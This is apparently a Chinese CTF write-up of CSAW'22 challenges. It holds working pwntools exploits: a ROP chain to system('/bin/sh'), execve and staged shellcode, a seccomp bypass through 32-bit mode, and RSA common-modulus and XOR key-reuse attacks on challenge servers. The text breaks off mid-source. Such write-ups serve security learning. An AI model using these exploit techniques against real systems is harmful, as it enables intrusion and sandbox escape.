[CSAW‘22] 世界这么大

目录

pwn-ezROP

baby Windows 未作

how2pwn 未作成

shello world 未完成

Crypto: Gotta Crack Them All 未完成

Phi Too Much In Common

Not Too Taxing

Poodle Gift Shop

Beyond_Quantum

REV:DockREleakage

Anya Gacha 未完成

Game

The Big Bang

Conti 最后一个也没完成


国外的比赛还真有点意思,虽然没作出几道题来,但感觉还是非常不错的。

pwn-ezROP

pwn类的签到题,直接给源码,国外好多者直接给源码,比用go语言啥的强多了。

#include <stdio.h>
#include <ctype.h>
int init(){
    fclose(stderr);
    setvbuf(stdin,  0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
}
int check(char *s){
    char *ptr = s;
    while(*ptr!=0)
    {
        if(*ptr=='\n')
        {
            *ptr = 0; break;
        }
        if(isalpha(*ptr) || *ptr==' ')
            ptr++;
        else
        {
            puts("Hey Hacker! Welcome to CSAW'22!");
            exit(1);
        }
    }
    printf("Nice to meet you, %s! Welcome to CSAW'22!\n",s);
    return 1;
}
char * str1 = "My friend, what's your name?";
void readn(char * buf, size_t len){
    if(read(0,buf,len)<=0)
        exit(1);
    return ;
}
void vul(void *buf){
    size_t rdi = 0x00000000004015a3;
    size_t rsi = rdi-2;
    size_t rop[0x100]; 
    size_t ct = 0 ; 
    memset(rop,0,sizeof(rop));

    rop[ct++] = buf+0x70; // real ret address
    rop[ct++] = rdi;
    rop[ct++] = str1;
    rop[ct++] = puts;

    rop[ct++] = rsi;
    rop[ct++] = 0x100; // rsi
    rop[ct++] = 0x999; // Pad

    rop[ct++] = rdi; 
    rop[ct++] = buf; // rdi

    rop[ct++] = readn;

    rop[ct++] = rdi;
    rop[ct++] = buf;
    rop[ct++] = check;

    rop[ct++] = 0x40152d;

    rop[0x104] = rop;
    return ;
}
int main(){
    char buf[100];
    init();
    vul(buf);
}

这里不光给了pop_rdi 还给了真实的返回地址,它自己就是个ROP,唯一卡点就是check需要用 \0绕过。这题也不用本地测试了,直接远程就可以

from pwn import *

p = remote('pwn.chal.csaw.io', 5002)

context(arch='amd64', log_level='debug')
elf = ELF('./ezROP')
pop_rdi = 0x00000000004015a3
pop_rsi = pop_rdi-2

p.sendlineafter(b"My friend, what's your name?\n", b'\x00'*(0x70+8)+flat(pop_rdi, elf.got['read'], elf.plt['puts'], elf.sym['main']))
p.recvline()
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x10dfc0 #libc6_2.31-0ubuntu9.9_amd64
system = libc_base + 0x52290
bin_sh = libc_base + 0x1b45bd

p.sendlineafter(b"My friend, what's your name?\n", b'\x00'*(0x70+8)+flat(pop_rdi+1, pop_rdi, bin_sh, system, elf.sym['_start']))
p.recvline()


p.interactive()

不过有一点比较坑,windows上的pwntools虽然能运行但最后至少了interactive 在linux就正常。

baby Windows 未作

没弄好windows 的环境没作。有个gets溢出,应该很简单。等看到WP收集一下。

how2pwn 未作成

这里给了4段小程序相当于一个教程,每一段有一个方法

#include <stdio.h>
#include <unistd.h>
void init(){
    // Set stdin/stdout unbuffered
    // So folks would not have io(input/output) issues
    fclose(stderr);
    setvbuf(stdin,  0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
}
int main(){
    init();
    // A buffer is created to store your shellcode
    char buf[0x100]; 
    puts("Enter your shellcode: ");
    read(0, buf, 0x100);
    // A functioner point is defined and points to the buffer.
    void (* p )(); 
    p = (void (*)()) buf;
    // Let's run the shellcode
    p();
    return 0;
}

第一段是让输入shelccode然后支持执行。每个都给了例子和修改方法,按例子把/bin/sh压栈然后执行59syscall

from pwn import *
context.log_level='debug'
#p = process("./chal")
p = remote("how2pwn.chal.csaw.io", 60001)
#context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
#gdb.attach(p) # attach to debug, don't forget to run "tmux" before running the script
# Tip: In x64, 
# rdi/rsi/rdx is the register to store the first/second/third parameter of a syscall
# rax is the syscall number, for example `mov rax,0 ; syscall` means calling read
# Also, the return value would be stored at rax

# There is a template of syscall(v1,v2,0,0)
# You can check all Linux x64 syscalls at this page: https://syscalls64.paolostivanin.com/
# Your task is understanding and completing the shellcode

# And our goal is running exec("/bin/sh",0,0) to get a shell
# Make sure to hexify the arguments for shellcode!

v1 = 59
v2 = u64(b'/bin/sh\0')

context.arch = 'amd64'

shellcode = f'''
xor rax, rax
xor rdi, rdi
xor rsi, rsi
xor rdx, rdx
mov rax, {v1}
mov rdi, {v2}
push rdi
mov rdi, rsp
syscall 
'''

p.sendlineafter(": \n",asm(shellcode).ljust(0x100,b'\0'))
p.interactive()

然后会在/flag里得到下一段的程序样例和票,下一段要先输入票再运行

第二段,是说读入长度不够,需要先用shellcode读入下一段再执行

#include<stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
void panic(char *s){
    puts(s);
    _exit(1);
}
void checkin(){ 
    // Solved the previous challenge, and find the ticket in "/flag"
    char real_ticket[0x30] = {0};
    char your_ticket[0x30] = {0};
    int f = open("./ticket",0);
    if(f<0)
        panic("[-] Fail to open tickect");
    read(f,real_ticket,0x20);
    read(0,your_ticket,0x20);
    close(f);
    if(strncmp(real_ticket,your_ticket,0x20))
        panic("[-] Wrong Ticket");
    return ; 
}
void init(){
    fclose(stderr);
    setvbuf(stdin,  0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    checkin();
}
int main(){
    init();
    char buf[0x100];
    puts("Enter your shellcode: ");
    read(0, buf, 0x10); 
    // Sorry I am too lazy to type an additional "0"
    void (* p )(); 
    p = (void (*)())buf;
    p();
    return 0;
}

改好的例子

from pwn import *

#p = process("./all/chal2")
p = remote("how2pwn.chal.csaw.io", 60002)
# context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']

# For this challenge, your task is to get a shell with shorter shellcode: 0x10 bytes

# Tip 1: Some register have the correct values before running our shellcode! Let's use gdb to check these registers!

# Tip 2: The 0x10 bytes length limitation is too strict for execve("/bin/sh") cuz len("/bin/sh")==0x8. \
# Why don't we call read rather than execve \
# so we could read longer shellcode and execute "/bin/sh" 

context.arch = 'amd64'
context.log_level = 'debug'
shellcode = f'''
xor rax,rax
mov rdx,0x100
syscall
nop
nop
'''
# gdb.attach(p)
shellcode = asm(shellcode)
print(len(shellcode))

p.send(b'764fce03d863b5155db4af260374acc1')

p.sendafter(b": \n",shellcode.ljust(0x10,b'\0'))

# If you sent proper shellcode which allows us to read longer shellcode, 
# you can try the following code. It's an easier way to generate shellcode
p.send(b"\x90"*len(shellcode)+asm(shellcraft.sh()))

p.interactive()

第3段没得到结果,不清楚哪改错了

第3段说用了sec保护要切换到32位模式用orw

#include <stdio.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <sys/prctl.h>
#include <stddef.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
void panic(char *s){
    puts(s);
    _exit(1);
}
void checkin(){ 
    // Solved the previous challenge, and find the ticket in "/flag"
    char real_ticket[0x30] = {0};
    char your_ticket[0x30] = {0};
    int f = open("./ticket",0);
    if(f<0)
        panic("[-] Fail to open tickect");
    read(f,real_ticket,0x20);
    read(0,your_ticket,0x20);
    close(f);
    if(strncmp(real_ticket,your_ticket,0x20))
        panic("[-] Wrong Ticket");
    return ; 
}
void init(){
    fclose(stderr);
    setvbuf(stdin,  0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    checkin();
}
void sandbox(){
    // This sandbox forbids lots of syscalls so you can't open the flag! 
    struct sock_filter filter[] = {
    	// BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, arch)),
		// BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1, 0),
        // BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
        BPF_STMT(BPF_LD | BPF_W | BPF_ABS,
                offsetof(struct seccomp_data, nr)),
        BPF_JUMP(BPF_JMP | BPF_JGE | BPF_K, 0x40000000 , 0, 1),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_openat, 0, 1),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_open, 0, 1),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_execve, 0, 1),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_execveat, 0, 1),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_creat, 0, 1),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_fork, 0, 1),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_vfork, 0, 1),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_clone, 0, 1),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_kill, 0, 1),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_tkill, 0, 1),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_tgkill, 0, 1),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
    };
    struct sock_fprog prog = {
        .len = sizeof(filter) / sizeof(filter[0]),
        .filter = filter,
    };
    // set no_new_privs
    int ret = 0 ; 
    ret = syscall(__NR_prctl,PR_SET_NO_NEW_PRIVS, 1,0,0,0);
    if(ret!=0)
        panic("[-] PR_SET_NO_NEW_PRIVS FAIL");
    // Apply the filter. 
    ret = syscall(__NR_seccomp,SECCOMP_SET_MODE_FILTER,0,&prog);
    if(ret!=0)
        panic("[-] SECCOMP_SET_MODE_FILTER FAIL");
    puts("[+] Sandbox On");
}
int main(){
    init();
    char buf[0x100]; 
    puts("Enter your shellcode: ");
    read(0, buf, 0x100);
    void (* p )(); 
    p = (void (*)())buf;
    sandbox();
    p();
    return 1;
}

改完的只能在本地执行,远程执行不了

from pwn import *
# context.log_level='debug'
debug = 0
if debug:
    p = process("./all/chal3")
else:
   p = remote("how2pwn.chal.csaw.io",60003)
   #p = remote("0.0.0.0", 60003)

# context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
# 1. In this challenge, you can't open a file because of the strict sandbox
# 2. But there is a vul about the sanbox, it doesn't check the syscall arch.
# 3. We can use x86 syscalls to bypass it. All x86 syscalls: https://syscalls32.paolostivanin.com/
# 4. You may find x86 can't visite x64 address because x64 address is too long to be stored in the x86 register. However, we still have syscall_mmap, which could allocate a chunk of memory, for example 0xcafe000, so we can visite this address in x86 mode. 
# 5. There is a demo for retf: https://github.com/n132/n132.github.io/blob/master/code/GoogleCTF/S2/XxX/pwn.S


context.arch = 'amd64'
context.log_level = 'debug'

sleep(0.1)
p.send(b'8e7bd9e37e38a85551d969e29b77e1ce')

#mmap(0x10000000, 0x2000, 7)
mmap = 0xcafe0000

shellcode = f'''
xor rax,rax
mov al, 9
mov rdi,{mmap}
mov rsi,0x1000
mov rdx,0x7
mov r10,0x21
xor r8,r8
xor r9,r9
syscall

xor rdi,rdi
mov rsi,{mmap}
mov rdx,63
xor rax,rax
syscall

mov eax,{mmap}
mov rbx, 0x2300000000
xor rax,rbx
push rax
'''

#gdb.attach(p)
#pause()
shellcode = asm(shellcode)+b'\xcb'# \xcb is retf
print("[+] len of shellcode: "+str(len(shellcode)))
p.sendafter(b"Enter your shellcode: \n",shellcode.ljust(0x100,b'\x90'))

context.arch='i386'
context.bits=32
flag_path_1 = hex(u32(b"/fla"))
flag_path_2 = hex(u32(b"g\0\0\0"))
shellcode=f'''
mov esp, {mmap+0xd00}
mov eax, 0x5
push {flag_path_2}
push {flag_path_1}
mov ebx,esp
xor ecx,ecx
xor edx,edx
int 0x80

mov ebx,eax
mov al,0x3
mov ecx,{mmap+0x200}
mov edx,0x800
int 0x80

mov al,0x4
mov ebx,0x1
mov ecx,{mmap+0x200}
mov edx,0x300
int 0x80

nop
nop
retf
nop
'''
# input()
shellcode = asm(shellcode)
print("[+] len of shellcode: "+str(len(shellcode)))

p.send(shellcode.ljust(60, b'\x90'))

p.recv()

p.interactive()
p.close()

在本地后边的nop,retf其实也用不着,远程会报不同的错,retf是要在执行完后恢复状态,不加会报错。

第4段作不到,先存下,应该是只允许fork,ioctl,exit其它都禁用

#include <linux/seccomp.h>
#include <unistd.h>
#include <syscall.h>
#include <sys/prctl.h>
#include <linux/filter.h>
#include <string.h>
#include <sys/ioctl.h>
#include <stddef.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdio.h>
#include <sys/mman.h>
void panic(char *s){
    puts(s);
    _exit(1);
}
void checkin(){ 
    // Solved the previous challenge, and find the ticket in "/flag"
    char real_ticket[0x30] = {0};
    char your_ticket[0x30] = {0};
    int f = open("./ticket",0);
    if(f<0)
        panic("[-] Fail to open tickect");
    read(f,real_ticket,0x20);
    read(0,your_ticket,0x20);
    close(f);
    if(strncmp(real_ticket,your_ticket,0x20))
        panic("[-] Wrong Ticket");
    return ; 
}
void init(){
    fclose(stderr);
    setvbuf(stdin,  0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    checkin();
}
void sandbox(){
    // challenge setting
    // This sandbox only allows __NR_seccomp __NR_fork __NR_ioctl __NR_exit
    // and it would trace all other syscalls
    struct sock_filter strict_filter[] = {
        BPF_STMT(BPF_LD | BPF_W | BPF_ABS,offsetof(struct seccomp_data, nr)),
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_seccomp, 0, 1),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
		BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_fork, 0, 1),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
		BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_ioctl, 0, 1),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
		BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_exit, 0, 1),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_TRACE),
    };
    struct sock_fprog prog = {
        .len = sizeof(strict_filter) / sizeof(strict_filter[0]),
        .filter = strict_filter,
    };
    int ret = 0 ; 
    ret = syscall(__NR_prctl,PR_SET_NO_NEW_PRIVS, 1,0,0,0);
    if(ret!=0)
        panic("[-] PR_SET_NO_NEW_PRIVS FAIL");
    // Apply the filter. 
    ret = syscall(__NR_seccomp,SECCOMP_SET_MODE_FILTER,0,&prog);
    if(ret!=0)
        panic("[-] SECCOMP_SET_MODE_FILTER FAIL");
    puts("[+] Sandbox On");

}
int main(){
    init();
    // To make exploit script easier, our shellcode would be on 0xcafe000
    char *buf = mmap((void *)0xcafe000,0x1000,7,0x21,0,0);
    if((size_t)buf!=0xcafe000)
        panic("Fail to mmap");
    puts("Enter your shellcode: ");
    read(0, buf, 0x1000);
    void (* p )(); 
    p = (void (*)())buf;
    sandbox();
    p();
    return 1;
}

shello world 未完成

又是一个window题,看来国外win很流行,咱们都改国芯linux了。他们落后了!

web,forensics,misc都不会。签到题和那些好多都是谷歌,推特,油管类的上不去的网站,还有1G的附件的对咱们太不友好了。

MISC收集到一题:

Quantum Leap (misc)

原来这样,把密文2进制第2,4,6位为1时第3,5,7位与1异或

c = 'wxqvn$Zae${deyZv$d"i'
flag = ''
for v in c:
    a = list(bin(ord(v))[2:].zfill(8))
    for i in [2,4,6]:
        if a[i] == '1':
            a[i+1] = str(int(a[i+1])^1)
    flag+=chr(int(''.join(a), 2))            

print(flag)

Crypto: Gotta Crack Them All 未完成

其实一直不明白是什么意思,英文这东西不好理解,机翻以后还是理解不了。

给了一个明文,和一堆密文,问哪个是老板的密码。加密是用的xor,可以很容易得到这个明文是第6个密文。然后就得到key,后边能解出所有明文,但哪个是老板的呢?

给出的明文

Cacturne-Grass-Dark

密文是乱码但也能看

cr霜繱i凁告櫩
lz爪轜r冦膏?ks蹋薢r览袈彺??`z战臱b冮多懍p
kw暮臖a苏襞澒y?kz乒貲u藠炧澗o?陷d
{w屎莀u蓨夶暰s璲v鲣要
{u垃逽w冦膏椸U?
`t式?K蒉胡暜1?淋{
zs芙蒁r琳粽帰i?凖`鲧
{~扩肂6檎羔?ks蹋蟐t蹔庴埁n?率l狺要
|h目蒘u蠆炧澗o
mc片菵r滤粽帰i?凕{痖?on染腨t輮楜帬}?ci坍荢o凵伎靖{
lz坠轤c冟従1?灼a?xr韦躍p冮多懍p?轮f
ln鹿轤t冟墸x?谑j?jz之賈r缞庴埁n
`r战肁辽粽帰i?
|t篓豞x冡耕幋1?灼a?nr耍蒠u凁告櫩
zr省?]抢辨暎{
mu穴?]钦?{k驻豅~藠燇暱e
ez斯臱~凁告櫩1?灼a?{r苫蚙w讑楜帬}?j~伞逨i烈豢}??`?鸳
b砖蒘i冮多懍p?葜l?ez驻繸6庎Z?苤
`~砖臩i冮多懍p
iw熏轤z冦洟r?轮f
|s椰蟏~讑炧澗o
{k篮躓6煲?ji剩諽u蓨婃櫒p?葜l?`z维罽6翃澿潽s璲杵h咬?ks谰躝u冟従
ei嬳醎v藠夅叜t?冮n?|t祝蚏n輮燓叅r?xn栅豔i凊恶椸[?哿k
kt券貳p松粼暱y?侨g徨债
on叻繷i蕣濗帵1?先`?kz祝臔r缆粽幀o?oi屎繽o坡粼暱y
oi携蝊u冨
oz止轞辽襞澒y眏檩`噔?ot薁?_芷君?|s台贑w冦膏?u慆螩)潚顮嚣q爒耷<?{~末轜6?

加密程序

with open('key.txt','rb') as f:
	key = f.read()

def encrypt(plain):
	return b''.join((ord(x) ^ y).to_bytes(1,'big') for (x,y) in zip(plain,key))

自己写解密,由于给的明文不够长,所以解出来应该是前一部分。但哪个是呢?

def encrypt(plain, key):
	return b''.join((x ^ y).to_bytes(1,'big') for (x,y) in zip(plain,key))

from pwn import xor
import string 

code = list(string.printable.encode())

a = b'Cacturne-Grass-Dark'
c = open('encrypted_passwords.txt', 'rb').read().split(b'\n')
#原key不够长,第42行Guzzlord-Dark-Drago 20位应该为n b'Guzzlord-Dark-Dragon  0xfb^ord('n') = 0x95
#key = encrypt(a, b'kz\xc6\xb9\xd9Du\xcb\x8a\x9e\xe0\x9d\xbeo\xee\x03\xcf\xddd\x95')
key = b'(\x1b\xa5\xcd\xac6\x1b\xae\xa7\xd9\x92\xfc\xcd\x1c\xc3G\xae\xaf\x0f\x95'
print('keylen:',len(key), key)
for j,p in enumerate(c):
    m = encrypt(p,key)
    if all([i in code for i in m]):
        print(j+1,len(p),len(m),m)
        
#只有第50行与众不同
#50 20 20 b'1n53cu2357234mc1ph32'
#1n53cu2357234mc1ph32  无包裹

Phi Too Much In Common

唯一的一个RSA题,只完成了这一个题。一开始试了3次,发现无解。过一天后又开始试了一次,发现有n相同的情况。那就是共模攻击,这个就容易了

from Crypto.Util.number import long_to_bytes
from gmpy2 import invert
# 欧几里得算法
def egcd(a, b):
  if a == 0:
    return (b, 0, 1)
  else:
    g, y, x = egcd(b % a, a)
    return (g, x - (b // a) * y, y)

def main():
  global n,c1,c2,e1,e2
  
  s = egcd(e1, e2)
  s1 = s[1]
  s2 = s[2]
  # 求模反元素
  if s1<0:
    s1 = - s1
    c1 = invert(c1, n)
  elif s2<0:
    s2 = - s2
    c2 = invert(c2, n)

  m = pow(c1,s1,n)*pow(c2,s2,n) % n
  print( long_to_bytes(m) )

N = []
E = []
C = []

from pwn import *
p = remote('crypto.chal.csaw.io', 5000)
for _ in range(200):
    p.sendlineafter(b'> ', b'1')
    p.recvuntil(b'N = ')
    tn = int(p.recvline())
    p.recvuntil(b'e = ')
    te = int(p.recvline())
    p.recvuntil(b'c = ')
    tc = int(p.recvline())
    
    if tn not in N:
        N.append(tn)
        E.append(te)
        C.append(tc)
    else:
        n = tn
        e1 = E[N.index(tn)]
        c1 = C[N.index(tn)]
        e2 = te
        c2 = tc 
        main()
        



'''
n = 132545322158190776199352789189142063486867022709380849756407544830537081305140054652259072249766372818405930894093443869754135402659969589309107393617675594143564518436513353986161063815697599067445591044848854877704280592323490700817768820445363733428865691437533783517101758351931660920767371534445301780733
e1 = 28390832237007797615303276605895353830136149851299131487952866437950594068529
c1 = 17477090066152527978580119447794592025314713262655495368503646438312219022187119930353800946391345646729024519453076495449057848285958550378524836910492338323559000055186178172307379642601907190404340383495789639653810596420419284256347674923375412031002646645214657786141372974986427388868439504418536051652
e2 = 35617208372400321480281532859944129895179156313471082512897694534983482611083
c2 = 94542362731325483096264896884294753666314847255094461457925803531553615324721722301248597528353440193359077600272766696766113278973872198128705533507838808684555164566885441756619048431184346444045465790011423034883085613692118372985993034653619702677802097725305334920243630195371489452037401139970682527836
'''

#2
n = 89560691336795161207138552570302450564215243827359167218444523047125457653172201538710660544735642156975892958459213208728292699178908151482948743587713993925679021399856573508073635239306496174484354253917474336135569394332863808424492354445473607621408449504104705127133085229487336665174279208481052472471
e1 = 20780056983331404509635854658234592870947668817581436436344056883952589844777
c1 = 70025507849662042551019933338472909210038561808437771253050427552249320521880336442958398563838241992792340232082179558151668995943763709641534371686830648710017322851953410854754898643253923919211457119204170461484645377747971397870948649720268531592518405741969591926121315540051060916926337826708384508472
e2 = 9819504059501040780180294501444282918456565888546824229108395652117724174323
c2 = 9172294855265425466838460056473760604520435175436743883017297306026718951826163929018682820514201302661248454362250226849286719982773063895307140855942534626573459727750190263288673500746405878731795171908494356225795633764958005088739139300310449159352313912319572842595125019789387621603752148641215706184

#第一步 多取几组得到相同的n,用共模攻击得到密码 
if __name__ == '__main__':
  main()

第一步成功后,输入得到的密码进行第二步,第2步给出n,e,d要phi

这个通过模版直接处理。后边是交互过程留存。

from gmpy2 import *
import random 

#第二步根据e,d,n 得到phi
N = 64608633023924522802315538878491180222429001102011159671433820745170916059652325574320970009140101815653262879796816256305338075323861448773022793202694960839825874438164074482327343466675032686837134944179039198288595559060181129517101480601678135501737419188016859913152104729813965301104332896170043960303
e = 22681579841004561166186270902536454753351095688981604887726848124548925561445
d = 22266948095249761281956528408991563762736752105105786304602756892576961141661570394431315297968631775210832726800826339154799603302375112262225062250251683025334404878110778376676601411107626657558428416057040431950538551490501442233921558160470393343416755632367997193472597048712703736505394216146849861645

def getpq(n,e,d):
    while True:
        k = e * d - 1
        g = random.randint(0, n)
        while k%2==0:
            k=k//2
            temp=gmpy2.powmod(g,k,n)-1
            if gmpy2.gcd(temp,n)>1 and temp!=0:
                return gmpy2.gcd(temp,n)

p = getpq(N,e,d)
print(p)
q = N//p 
phi = (p-1)*(q-1)
print(phi)
#flag{aR3nT_U_tH3_RSA_ninJA}

'''
shi@shi-virtual-machine:~/ctf/001$ nc crypto.chal.csaw.io 5000
**********   TOO MUCH IN COMMON      **********

   Have at it!

/------------------------------\
|           COMMANDS              |
|                                 |
|   1) ciphertext_info            |
|   2) solve_challenge <password> |
|   3) exit                       |
\------------------------------/

> 2 d0nt_reUs3_c0mm0n_m0duLus_iN_RSA

********** What the Phi?  **********

Give me phi and I'll give you a flag


N = 64608633023924522802315538878491180222429001102011159671433820745170916059652325574320970009140101815653262879796816256305338075323861448773022793202694960839825874438164074482327343466675032686837134944179039198288595559060181129517101480601678135501737419188016859913152104729813965301104332896170043960303

e = 22681579841004561166186270902536454753351095688981604887726848124548925561445

d = 22266948095249761281956528408991563762736752105105786304602756892576961141661570394431315297968631775210832726800826339154799603302375112262225062250251683025334404878110778376676601411107626657558428416057040431950538551490501442233921558160470393343416755632367997193472597048712703736505394216146849861645
/------------------------------\
|           COMMANDS              |
|                                 |
|   1) try_again                  |
|   2) phi <phi_value>            |
|   3) exit                       |
\------------------------------/

> 2 64608633023924522802315538878491180222429001102011159671433820745170916059652325574320970009140101815653262879796816256305338075323861448773022793202694944621270050324126715493546732201685920618847293843717699244774946725282484858671049453843813262870631433423616554627338664139249862599389738993705537427408

What?! How did you do that??

flag{aR3nT_U_tH3_RSA_ninJA}

'''

Not Too Taxing

这个没看明文,是两个pdf和一个加密的pdf,第1个是交互的邮件,第2个估计是银行的税单。

Poodle Gift Shop

题目

#!/usr/bin/python3

import hashlib
import hmac
import sys
from base64 import b64encode, b64decode
from Crypto import Random
from Crypto.Cipher import AES

key = open('./key', 'r').read().strip().encode()
flag = open('./flag.txt', 'r').readline().strip().encode()


def get_hmac(m):
    return hmac.new(key, msg=m, digestmod=hashlib.sha256).digest()


def hmac_is_valid(pt):
    digest = pt[-32:]
    msg = pt[:-32]
    return equal_bytearrays(hmac.new(key, msg=msg, digestmod=hashlib.sha256).digest(), digest)


def equal_bytearrays(a1, a2):
    if len(a1) != len(a2):
        return False
    else:
        for i in range(len(a1)):
            if a1[i] != a2[i]:
                return False
        return True


def pad(pt):
    pad_value = 16 - len(pt) % 16
    pt = pt + (chr(pad_value) * pad_value).encode()
    return pt


def verify_padding_and_unpad(pt):
    pad_value = pt[-1]
    if pad_value == 0 or pad_value > 32:
        return False
    else:
        pt = pt[:(-1 * pad_value)]
        return pad_value, pt


def encrypt(pt):
    iv = Random.new().read(AES.block_size)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    ct = cipher.encrypt(pt)
    ct = iv + ct
    ct = b64encode(ct)
    return ct



def decrypt(ct):
    ct_incl_iv = b64decode(ct)
    iv, ct = ct_incl_iv[:16], ct_incl_iv[16:]
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return cipher.decrypt(ct)


def decrypt_and_verify(ct):
    pt = decrypt(ct)
    pad, pt = verify_padding_and_unpad(pt)
    if pt and hmac_is_valid(pt):
        print(
            "\nValid plaintext. We assume you have purchased our flag decryption key and can therefore read the flag. Thank you for your patronage.\n")

        return True
    print("Something went wrong during decryption. Try again?")
    return False


def get_canine_order():
    print("What type of canine would you like to purchase?")
    print("> ", end="")
    canine_type = input().encode()
    print("\nHow many would you like to purchase? (We have unlimited supplies...)")
    print("> ", end="")
    canine_quant = input().encode()
    return canine_type, canine_quant


def process_encryption():
    canine_type, canine_order = get_canine_order()

    msg = b"Congratulations, you just completed your " + canine_type + b" purchase instead of buying this beautiful flag: " + flag
    msg += b". What were you thinking? Fortunately you have helped " + canine_order + b" canines and puppies find homes"
    hmac = get_hmac(msg)
    pt = msg + hmac
    pt = pad(pt)
    ct = encrypt(pt)
    print()
    print(b"A plane flies overhead flying a banner that reads: " + ct, "\n")
    return ct


def get_selection():
    print("Enter your selection:")
    print("   1) Enter the shop")
    print("   2) Decrypt")
    print("   3) Leave the shop\n")
    print("> ", end='')
    selection = input().strip()
    if selection in list('123'):
        print("")
        return selection
    else:
        print("Error: Invalid selection.")
        exit(0)


def main():
    print("**********      C S A W   G I F T   S H O P      **********\n")
    print("   Welcome to the CSAW Canine Gift Shop!    ")
    print("Leaving city dwellers have asked us to find home for their MANY canine friends.")
    print("We have canines of all kinds ... as well as encrypted flags constantly flying ")
    print("overhead and a key to decrypt them that should be well within your price range.\n\n")

    while (1):
        selection = int(get_selection())
        try:
            if selection == 1:
                process_encryption()
                sys.stdout.flush()
            elif selection == 2:
                print("Enter the base64-encoded ciphertext to decrypt: ")
                print("> ", end='')
                ct = input().encode()
                decrypt_and_verify(ct)
                sys.stdout.flush()
            elif selection == 3:
                print("Thank you for shopping with CSAW!")
                exit(0)
            else:
                print("Error: invalid menu option.")
                raise Exception
        except Exception as ex:
            print("\nSomething went wrong......try again?\n")
            sys.stdout.flush()


if __name__ == "__main__":
    main()

看上去是个AES padding oracle攻击,找了个模版运行不了,以后得找个能运行保存。好好学学

Beyond_Quantum

两量子位的计算机网上说是一个4阶矩阵啥的,不清楚怎么算。

程序cipher.py:

from cipher.mathutils import *
import numpy as np
from sympy.abc import x
from sympy.polys.polyerrors import NotInvertible
from sympy import ZZ, Poly
from collections import Counter


class Cipher:
    N = None
    p = None
    q = None
    f_poly = None
    g_poly = None
    h_poly = None
    f_p_poly = None
    f_q_poly = None
    R_poly = None

    def __init__(self, N, p, q):
        self.N = N
        self.p = p
        self.q = q
        self.R_poly = Poly(x ** N - 1, x).set_domain(ZZ)

    def generate_random_keys(self):
        g_poly = random_poly(self.N, int(math.sqrt(self.q)))
        tries = 10
        while tries > 0 and (self.h_poly is None):
            f_poly = random_poly(self.N, self.N // 3, neg_ones_diff=-1)
            try:
                self.generate_public_key(f_poly, g_poly)
            except NotInvertible as ex:
                tries -= 1
        if self.h_poly is None:
            raise Exception("Couldn't generate invertible f")

    def generate_public_key(self, f_poly, g_poly):
        self.f_poly = f_poly
        self.g_poly = g_poly
        self.f_p_poly = invert_poly(self.f_poly, self.R_poly, self.p)
        self.f_q_poly = invert_poly(self.f_poly, self.R_poly, self.q)
